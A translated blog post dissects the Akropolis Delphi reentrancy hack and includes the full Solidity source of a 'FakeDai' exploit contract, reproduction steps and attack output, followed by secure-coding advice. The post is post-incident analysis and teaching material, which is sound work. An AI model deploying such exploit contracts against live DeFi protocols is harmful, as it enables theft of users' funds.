overview
Akropolis’s Delphi service is a Defi platform that allows users to deposit ERC20 into a Pool, such as DAI, in exchange for Pool’s bonus token – dDAI, after a while will use dDAI to withdraw the initially deposited DAI + interest . Delphi allows users to choose which Protocol they want to use to deposit into the Pool, each Protocol will have a different validate and calculation way.
I will not introduce much about the Akropolis system, you can learn more here .
The problem that occurs with Delphi is determined to be caused by 2 basic reasons:
- The validate token input mechanism of the CurveFiY protocol is not tight, so hackers can easily make a call to a malicious contract.
- Does not resist reentrance for the deposit () and withdraw () functions.
Combining the two holes above, the hacker attacked according to the deposit mechanism to 1 DAI but was minted to 2 dDAI, then used 2 dDAI to draw 2 DAI, which is twice as much as the actual amount of DAI deposited. Doing so many times, the hacker stole 2 million DAI, or $ 2 million, of Akropolis.
Details of the transaction can be found here
This is the link repo including the smart contract of Delphi and the steps to reproduce the attack that I have prepared, people can clone to follow along with the article.
Compare 2 protocols Compound and CurveFi
As I said above, Delphi allows users to deposit DAI into the Pool according to different protocols, look at the function deposit(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts)
function function deposit(address _protocol, address[] memory _tokens, uint256[] memory _dnAmounts)
in the contracts/modules/savings/SavingsModule.sol
:
1 2 3 4 5 6 7 8 9 | <span class="token keyword">function</span> <span class="token function">deposit</span> <span class="token punctuation">(</span> <span class="token parameter">address _protocol <span class="token punctuation">,</span> address <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory _tokens <span class="token punctuation">,</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory _dnAmounts</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> <span class="token function">operationAllowed</span> <span class="token punctuation">(</span> IAccessModule <span class="token punctuation">.</span> Operation <span class="token punctuation">.</span> Deposit <span class="token punctuation">)</span> <span class="token function">returns</span> <span class="token punctuation">(</span> <span class="token parameter">uint256</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token function">depositToProtocol</span> <span class="token punctuation">(</span> _protocol <span class="token punctuation">,</span> _tokens <span class="token punctuation">,</span> _dnAmounts <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token operator">...</span> <span class="token punctuation">}</span> |
The user will select the Protocol they want to use through the addresss _protocol
parameter, then inside the deposit()
function will call depositToProtocol(_protocol, _tokens, _dnAmounts)
:
1 2 3 4 5 6 7 8 9 10 | <span class="token keyword">function</span> <span class="token function">depositToProtocol</span> <span class="token punctuation">(</span> <span class="token parameter">address _protocol <span class="token punctuation">,</span> address <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory _tokens <span class="token punctuation">,</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory _dnAmounts</span> <span class="token punctuation">)</span> internal <span class="token punctuation">{</span> <span class="token function">require</span> <span class="token punctuation">(</span> _tokens <span class="token punctuation">.</span> length <span class="token operator">==</span> _dnAmounts <span class="token punctuation">.</span> length <span class="token punctuation">,</span> <span class="token string">"SavingsModule: count of tokens does not match count of amounts"</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span> uint256 i <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">;</span> i <span class="token operator"><</span> _tokens <span class="token punctuation">.</span> length <span class="token punctuation">;</span> i <span class="token operator">++</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> address tkn <span class="token operator">=</span> _tokens <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token punctuation">;</span> <span class="token constant">IERC20</span> <span class="token punctuation">(</span> tkn <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">safeTransferFrom</span> <span class="token punctuation">(</span> <span class="token function">_msgSender</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">,</span> _protocol <span class="token punctuation">,</span> _dnAmounts <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token function">IDefiProtocol</span> <span class="token punctuation">(</span> _protocol <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">handleDeposit</span> <span class="token punctuation">(</span> tkn <span class="token punctuation">,</span> _dnAmounts <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> emit <span class="token function">DepositToken</span> <span class="token punctuation">(</span> _protocol <span class="token punctuation">,</span> tkn <span class="token punctuation">,</span> _dnAmounts <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> |
In the depositToProtocol()
function there are two important steps to be taken:
IERC(tkn).safeTransferFrom(_msgSender(), _protocol, _dnAmounts[i])
, this function allows a low-call to thetransferFrom()
function to the smart contract of the token to be deposited intoIDefiProtocol(_protocol).handleDeposit(tkn, _dnAmounts[i])
, which calls thehandleDeposit()
function of the protocol the user has chosen.
We will see the source code of the two protocols Compound and CurveFiY:
1 2 3 4 5 6 | # CompoundProtocol <span class="token keyword">function</span> <span class="token function">handleDeposit</span> <span class="token punctuation">(</span> <span class="token parameter">address token <span class="token punctuation">,</span> uint256 amount</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> onlyDefiOperator <span class="token punctuation">{</span> <span class="token function">require</span> <span class="token punctuation">(</span> token <span class="token operator">==</span> <span class="token function">address</span> <span class="token punctuation">(</span> baseToken <span class="token punctuation">)</span> <span class="token punctuation">,</span> <span class="token string">"CompoundProtocol: token not supported"</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> cToken <span class="token punctuation">.</span> <span class="token function">mint</span> <span class="token punctuation">(</span> amount <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> |
Thus, when the hacker chooses the protocol as CompoundProtocol and makes a deposit of a token that is not DAI, he will be entangled in require(token == address(baseToken), "CompoundProtocol: token not supported")
where baseToken
is DAI, therefore the transaction will be reverted and no attacks will occur.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | # CurveFiYProtocol <span class="token keyword">function</span> <span class="token function">handleDeposit</span> <span class="token punctuation">(</span> <span class="token parameter">address token <span class="token punctuation">,</span> uint256 amount</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> onlyDefiOperator <span class="token punctuation">{</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory amounts <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">uint256</span> <span class="token punctuation">[</span> <span class="token punctuation">]</span> <span class="token punctuation">(</span> <span class="token function">nCoins</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span> uint256 i <span class="token operator">=</span> <span class="token number">0</span> <span class="token punctuation">;</span> i <span class="token operator"><</span> _registeredTokens <span class="token punctuation">.</span> length <span class="token punctuation">;</span> i <span class="token operator">++</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> amounts <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token constant">IERC20</span> <span class="token punctuation">(</span> _registeredTokens <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">balanceOf</span> <span class="token punctuation">(</span> <span class="token function">address</span> <span class="token punctuation">(</span> <span class="token keyword">this</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token comment">// Check balance which is left after previous withdrawal</span> <span class="token comment">//amounts[i] = (_registeredTokens[i] == token)?amount:0;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> _registeredTokens <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token operator">==</span> token <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">require</span> <span class="token punctuation">(</span> amounts <span class="token punctuation">[</span> i <span class="token punctuation">]</span> <span class="token operator">>=</span> amount <span class="token punctuation">,</span> <span class="token string">"CurveFiYProtocol: requested amount is not deposited"</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">deposit_add_liquidity</span> <span class="token punctuation">(</span> amounts <span class="token punctuation">,</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token function">stakeCurveFiToken</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> |
When the hacker chooses the protocol is CurveFiYProtocol and deposits a FakeDai which is not one of the 4 tokens of this protocol, DAI, USDC, BUSD, USDT (you can learn more about CurveFI to understand this paragraph), it is still easy The pass is passed because the require(amounts[i] >= amount, "CurveFiYProtocol: requested amount is not deposited")
is put in if(_registeredTokens[i] == token)
but the token is FakeDai is not one of 4 DAI, USDC, BUSD, USDT should never run into this if
.
Note here that CurveFiYProtocol has a flaw in the use case of Delphi Akropolis does not mean that it also has a flaw in the use case of CurveFiY, each platform has many different modules so this logic can be tight in CurveFi context because it is also supported by many other modules, it’s just that Akropolis reuses it without considering it closely with its modules or not that causes this vulnerability.
The problem against Reentrance
Most of the Defi platforms today, all the related functions for the transfer of money in and out of money are set to a modifier
called nonReentrant
developed in the openzeppelin
‘s ReentrancyGuard.sol
smart contract, you can see more at here .
The use of nonReentrant
is simply understood that in a transaction, the maximum number of calls to the function is set to nonReentrant
, for example there is a smart contract as follows:
1 2 3 4 5 6 7 8 9 10 11 12 | <span class="token keyword">import</span> <span class="token string">"@openzeplin/contracts/utils/ReentrancyGuard.sol"</span> <span class="token punctuation">;</span> contract SampleContract ís ReentrancyGuard <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">a</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> nonReentrant <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">b</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> nonReentrant <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> |
In a transaction, it is impossible to call function a()
twice, or function b()
twice, or call function a()
while calling function b()
.
Platforms Defi use nonReentrant
to prevent calls to malicious as just withdraw()
that the deposit()
on or deposit()
and withdraw()
recursively to affect adversely the information related to money stored in the smart contract.
I really don’t understand why Delphi Akrolpolis is so confident that not using nonReentract
for this reason is happening.
Attack with FAKEDAI
Enough introduction is rambling, now I will recreate the hack.
Here are the steps of the attack:
- Hacker calls
deposit(CurverFiYProtocol, [FakeDai], [amount])
of SavingsModule - SavingsModule calls back FakeDai’s
transferFrom()
, but in fact, inside thetransferFrom()
function of FakeDai, it calls the deposit function of SavingsModule (the harm of not usingnonReentrant
) but at this time, it’s using DAI asdeposit(CurveFiYProtocol, [DAI], [amount])
. - SavingsModule mint out an amount of dDAI corresponding to the deposit with real DAI
- Get out of the real DAI deposit context, go back to the original FakeDai deposit context again pass the
handleDeposit()
function as I said above, after recalculating the parameters, SavingsModule again minted another amount of dDAI.
=> Only 1 DAI has to deposit, the hacker owns 2 dDAI corresponding to 2 DAI, with that mechanism he performed many transactions that cost 25,000 DAI but took back 50,000 dDAI corresponding to 50,000 DAI, Accumulated after many transactions, he withdrew 2 million DAI at the last shot
Surely everyone is thinking, if we want to perform a transaction, we must have a capital of 25,000 DAI, right? With many platforms that provide flashLoan
services (borrow and pay immediately in 1 transaction) as today and with no nonReentrant
, hackers can completely borrow 25,000 DAI to deposit()
and collect 50,000 dDAI then only Use 25,000 dDAI to withdraw()
to 25,000 DAI and pay the lender, after a transaction he gains 25,000 dDAI equivalent to 25,000 DAI.
Source code of FakeDai
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | pragma solidity <span class="token operator">^</span> <span class="token number">0.5</span> <span class="token number">.12</span> <span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"@openzeppelin/upgrades/contracts/ownership/Ownable.sol"</span> <span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"</span> <span class="token punctuation">;</span> <span class="token keyword">interface</span> <span class="token class-name">Savings</span> <span class="token punctuation">{</span> <span class="token keyword">function</span> <span class="token function">deposit</span> <span class="token punctuation">(</span> <span class="token parameter">address _protocol <span class="token punctuation">,</span> address <span class="token punctuation">[</span> <span class="token punctuation">]</span> calldata _tokens <span class="token punctuation">,</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> calldata _dnAmounts</span> <span class="token punctuation">)</span> external <span class="token function">returns</span> <span class="token punctuation">(</span> uint256 <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">withdraw</span> <span class="token punctuation">(</span> <span class="token parameter">address _protocol <span class="token punctuation">,</span> address token <span class="token punctuation">,</span> uint256 dnAmount <span class="token punctuation">,</span> uint256 maxNAmount</span> <span class="token punctuation">)</span> external <span class="token function">returns</span> <span class="token punctuation">(</span> uint256 <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> contract FakeDai is OpenZeppelinUpgradesOwnable <span class="token punctuation">{</span> address <span class="token punctuation">[</span> <span class="token punctuation">]</span> <span class="token keyword">public</span> tokens <span class="token punctuation">;</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> <span class="token keyword">public</span> amounts <span class="token punctuation">;</span> address <span class="token keyword">public</span> protocol <span class="token punctuation">;</span> address <span class="token keyword">public</span> savings <span class="token punctuation">;</span> <span class="token function">constructor</span> <span class="token punctuation">(</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> <span class="token punctuation">{</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">setup</span> <span class="token punctuation">(</span> <span class="token parameter">address _realDai <span class="token punctuation">,</span> address _protocol <span class="token punctuation">,</span> address _savings <span class="token punctuation">,</span> uint256 _amount</span> <span class="token punctuation">)</span> onlyOwner <span class="token keyword">public</span> <span class="token punctuation">{</span> address <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory tempTokens <span class="token punctuation">;</span> tokens <span class="token operator">=</span> tempTokens <span class="token punctuation">;</span> tokens <span class="token punctuation">.</span> <span class="token function">push</span> <span class="token punctuation">(</span> _realDai <span class="token punctuation">)</span> <span class="token punctuation">;</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory tempAmounts <span class="token punctuation">;</span> amounts <span class="token operator">=</span> tempAmounts <span class="token punctuation">;</span> amounts <span class="token punctuation">.</span> <span class="token function">push</span> <span class="token punctuation">(</span> _amount <span class="token punctuation">)</span> <span class="token punctuation">;</span> protocol <span class="token operator">=</span> _protocol <span class="token punctuation">;</span> savings <span class="token operator">=</span> _savings <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">attack</span> <span class="token punctuation">(</span> <span class="token parameter">address <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory fakeTokens <span class="token punctuation">,</span> uint256 <span class="token punctuation">[</span> <span class="token punctuation">]</span> memory fakeAmounts</span> <span class="token punctuation">)</span> onlyOwner <span class="token keyword">public</span> <span class="token punctuation">{</span> <span class="token function">Savings</span> <span class="token punctuation">(</span> savings <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">deposit</span> <span class="token punctuation">(</span> protocol <span class="token punctuation">,</span> fakeTokens <span class="token punctuation">,</span> fakeAmounts <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">withdrawAttack</span> <span class="token punctuation">(</span> <span class="token parameter">uint256 amount</span> <span class="token punctuation">)</span> onlyOwner <span class="token keyword">public</span> <span class="token punctuation">{</span> <span class="token function">Savings</span> <span class="token punctuation">(</span> savings <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">withdraw</span> <span class="token punctuation">(</span> protocol <span class="token punctuation">,</span> tokens <span class="token punctuation">[</span> <span class="token number">0</span> <span class="token punctuation">]</span> <span class="token punctuation">,</span> amount <span class="token punctuation">,</span> <span class="token number">0</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">withdrawDAIToAttacker</span> <span class="token punctuation">(</span> <span class="token parameter">address reciever <span class="token punctuation">,</span> uint256 amount</span> <span class="token punctuation">)</span> onlyOwner <span class="token keyword">public</span> <span class="token punctuation">{</span> <span class="token constant">IERC20</span> <span class="token punctuation">(</span> tokens <span class="token punctuation">[</span> <span class="token number">0</span> <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">transfer</span> <span class="token punctuation">(</span> reciever <span class="token punctuation">,</span> amount <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">transferFrom</span> <span class="token punctuation">(</span> <span class="token parameter">address sender <span class="token punctuation">,</span> address recipient <span class="token punctuation">,</span> uint256 amount</span> <span class="token punctuation">)</span> <span class="token keyword">public</span> <span class="token function">returns</span> <span class="token punctuation">(</span> <span class="token parameter">bool</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token constant">IERC20</span> <span class="token punctuation">(</span> tokens <span class="token punctuation">[</span> <span class="token number">0</span> <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">approve</span> <span class="token punctuation">(</span> savings <span class="token punctuation">,</span> amounts <span class="token punctuation">[</span> <span class="token number">0</span> <span class="token punctuation">]</span> <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token function">Savings</span> <span class="token punctuation">(</span> savings <span class="token punctuation">)</span> <span class="token punctuation">.</span> <span class="token function">deposit</span> <span class="token punctuation">(</span> protocol <span class="token punctuation">,</span> tokens <span class="token punctuation">,</span> amounts <span class="token punctuation">)</span> <span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token boolean">true</span> <span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> |
At this FakeDai contract, I will skip flashLoan () and I will transfer 1 DAI from outside to FakeDai for capital, and the attack (withdraw) and withdraw () will be called in 2 different transactions, for the main purpose of I just reappeared the deposit()
1 DAI, but I was able to draw 2 dDAI.
The steps to setup my environment and attack I have prepared in the file attack/attack.test.js
in the repo I placed above, you just need to run:
1 2 | <span class="token function">yarn</span> attack |
that is, it will run from start to finish and print the output to the screen:
1 2 3 4 5 6 7 8 | Attack <span class="token number">1000000000000000000</span> DAI balance of Attack Contract before attack <span class="token number">1000000000000000000</span> DAI balance of User before deposit <span class="token number">1000000000000000000</span> DAI balance of User after withdraw <span class="token number">2000000000000000000</span> DAI balance of Attack Contract after Attack <span class="token number">2000000000000000000</span> DAI balance of Attacker after withdraw |
For a normal user, the user with an initial capital of 1 DAI, deposit and withdraw 1 DAI, and the hacker with a capital of 1 DAI took back 2 DAI
After setting up the correct environment with Delphi ‘s environment, we take the following steps to attack:
- Deploy FakeDai contract
- Call
setup(DAI, curveFiYProtocol, savingsModule, '1000000000000000000')
functionsetup(DAI, curveFiYProtocol, savingsModule, '1000000000000000000')
- Call the
attack([FakeDai], ['1000000000000000000'])
functionattack([FakeDai], ['1000000000000000000'])
- Call
withdrawAttack('2000000000000000000')
to get DAI to FakeDai 5. CallwithdrawDAIToAttacker(attacker, '2000000000000000000')
to get DAI back to attacker
summary
After this attack, with my own personal conclusions, I would like to give some of the following ideas to better secure smart contracts, because in Blockchain once incident happened, the value of damage is very great and Can not be reversed to fix:
- Always use
nonReentrant
forextenal
andpublic
functions if it does not affect the business model of the system - When using a module of a certain party, you must carefully review it, it is safe for them, it does not mean it is safe for you.
- Validate is clear, redundant is better than costing.
Reference links
https://peckshield.medium.com/akropolis-incident-root-cause-analysis-c11ee59e05d4